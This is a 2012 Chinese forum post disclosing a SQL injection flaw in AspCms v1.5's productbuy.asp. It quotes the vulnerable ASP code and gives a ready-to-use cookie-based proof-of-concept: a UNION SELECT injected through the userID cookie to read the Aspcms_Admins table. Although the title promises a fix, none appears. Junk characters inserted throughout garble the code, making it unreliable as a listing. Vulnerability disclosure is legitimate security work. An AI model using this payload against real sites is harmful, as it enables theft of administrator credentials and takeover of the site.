找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2240|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
$ D4 P6 N# ^! D$ U$ E4 S. X. v+ n- }也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
% x% t* _- G! r% ^$ l) e废话不多说,看代码:
& G% Z+ p+ U& Z) A/ n8 E: }( A1 {3 z  w% z$ O& p
<%: n2 P& h' ^3 [

( s! C5 Z! u. |+ gif action = "buy" then2 t! v4 d7 b3 X* b7 }

3 J- m& D) a5 Q: a) D        addOrder()
5 S8 {. _5 R% A( R  I1 a" L
" a1 k9 O- r# v: Gelse
* g+ f# Z$ `& v) n4 T4 f: e& v0 V* P9 \# a; d& E1 V
        echoContent()6 A! u% U7 I2 [

/ X, `5 b2 q, ~end if
4 M! m( m! k9 g: }! ?8 D* `
" M8 n6 x# k* {0 U& ^" x8 s7 e! N0 |/ l  e* z

( m% {4 e! J6 D, k3 u……略过: R' @, e/ R9 ~$ \
3 g, {* h+ x/ @% ?, N: V
6 r' K- P+ `' H7 \
& r$ g- d4 [  N, |' K
Sub echoContent()& n& Z$ [5 [1 |

4 w5 {) M7 m! z$ z        dim id' t1 e! q. ?) y2 M! F2 d- x
6 Z' K" l- ^8 ~- }
        id=getForm("id","get")3 t% a4 d& W6 v, U1 v) |
2 [: w0 f/ J/ [$ o% }2 \6 `
        $ ^* ]4 C; F& W1 Z) K

( ~# e& E3 v( I* h8 N9 |        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
1 _! e0 W$ }! u0 O0 A# q$ l) w. k# P1 z' l& Q: o
        
: ^: }( c  U% w$ M+ l' S
- e( G# t* v1 n+ d; h        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
& X: @2 F/ U0 H# R. Q% `
4 G7 y2 q. Q" p        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct  h7 A( t4 s! {' Z
% L5 p6 ^5 a8 ^! K9 W" b, J
        Dim templatePath,tempStr# O2 y" H( v$ r  C( w' k3 n

6 o+ U/ c5 F, p. P        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
: r5 m4 M: }' H
6 e7 v8 _5 \0 G! J! ^
4 ^; y4 |' j  c4 j1 v; Z: N+ V! H
1 Q: C  D$ F; N! F, R        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
6 r4 r" A9 Y' U" {% @
7 I2 M2 j) L5 x% n& r# e        selectproduct=rsObj(0)
# K7 }& l5 `6 x1 S, E
+ K: r" c9 M) T* r        $ ^7 A2 j& j1 g7 A' T& K
8 r5 @) @& v& l4 ?( k
        Dim linkman,gender,phone,mobile,email,qq,address,postcode- [/ i  i: q/ X8 v7 @

; }" {6 P& W+ G        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0& _+ ]9 ^+ @& v1 J) K
0 ]: n# q, \" }5 c: w
        if rCookie("loginstatus")=1 then  
' T- V& h/ g6 ~" R; H. X3 o, ^
( I: ^# ~9 K6 ~& [                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")4 J4 b1 j4 a5 S4 |0 j
9 `1 o+ M2 u- V( H" \. [/ m- B
                linkman=rsObj("truename")
) s, ~  i+ E+ w9 F
# K0 I. m5 E$ R                gender=rsObj("gender")
4 L5 z; B; J6 W+ _6 X3 }) ~  I, m1 k' z9 U& X" M
                phone=rsObj("phone")/ j* X3 n) C7 r

& _" u9 W* @! U6 o                mobile=rsObj("mobile")
- w- o- o, l" ^: X+ r6 f) _8 Z( b7 U, e
                email=rsObj("email")
, |3 R, r; t# H6 i
+ H. Q) t# e" M6 j                qq=rsObj("qq")' X7 ~7 q: t3 p9 Z% g/ z3 Y) W

. G0 Z! U) p7 X" o% \2 O                address=rsObj("address")  b2 V& G2 c! i: |. O; r

* \- W8 [3 J  {; k/ c1 a                postcode=rsObj("postcode")* W- D* J" s- y0 i( u, [
% Z" M8 k$ A0 T+ o+ R
        else
. e1 ~! m4 q# s: ]) ~2 R7 \% Q+ F( ?( `/ d, t; Q. f/ T, Y4 C
                gender=1
4 M: T/ o3 r+ A3 f' N/ G# b" G) f2 }8 M7 }7 Q
        end if0 L9 ]: d1 O: }9 Z- o

. ]8 S( p; E& b        rsObj.close()' ~9 x! o. R9 U) P4 Z7 G/ Z  B- y
* T9 Y$ _1 o: i
               
4 \3 U, j, k7 n- U$ [% R% \, W3 R- _  D" O' k5 Y4 G; H9 r
        with templateObj   x& g* ?$ H9 J. V& O4 r

+ h; }/ m( D/ z- b0 C                .content=loadFile(templatePath)        
% Z$ \! g2 q% _
" G  [# Q3 M- ~, I4 I9 C- @                .parseHtml(): \5 T; c. a  k! a5 V8 |6 E( |) G

4 O: j( T7 G- n; j8 n                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct); l+ m2 t" R8 l7 W

0 ~1 p! m: g4 p' |5 V; h1 V                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                - @8 z) S( d+ K# i

+ P* t1 r: v0 S4 u3 U                .content=replaceStr(.content,"[aspcms:gender]",gender)                  ~$ }+ R4 }$ p2 F3 ~

6 U6 |) t4 f! i) o! I8 O! m9 o                .content=replaceStr(.content,"[aspcms:phone]",phone)               
* F- L/ n; E' _2 g4 t, q* j0 I6 g: h' a) |2 z
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                # d! D5 J2 o9 b2 o! U; R
. D" J, b) j$ E) T8 B7 ?+ M
                .content=replaceStr(.content,"[aspcms:email]",email)                        : u" b7 ^* j/ L6 r9 P

4 ]" R- b6 D) |9 b/ X' T: x0 Y                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ) b. F: t% b8 ^% j( C' v& C
0 f9 N. O: L" X/ Z. k; m$ T
                .content=replaceStr(.content,"[aspcms:address]",address)                        
! D0 X1 E6 M) ?9 Z$ E- F1 W" e  T6 k+ l  d2 M
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        8 u  O9 d5 L) O% {5 R7 V/ v% F! c& b
8 _5 }, E9 P/ x4 n% m, [' }
                .parseCommon()                 1 L( J% b) F# }% ?8 C% o9 n

) i3 A: o, S6 g! m( L& d                echo .content ( G  ^4 p. s1 J! I! w$ `/ a" O
" N# Z% A' ^! C9 L9 S
        end with
) D9 u( l, r: U
( Z: f7 m, e9 T  D% D- z  W% t        set templateobj =nothing : terminateAllObjects& |8 q6 d6 v1 v- c  C  y

& f' H2 W' n/ ^# V9 Y0 \End Sub6 f% u+ ]) n! A  c
漏洞很明显,没啥好说的
! ]3 r( ?" X0 Ipoc:
) e$ S5 `/ t& h4 z1 |5 i9 a; B) F1 B2 t
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
. ?; M/ H" N' I) q+ @. d# q# @5 {* i, Q. Q! O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表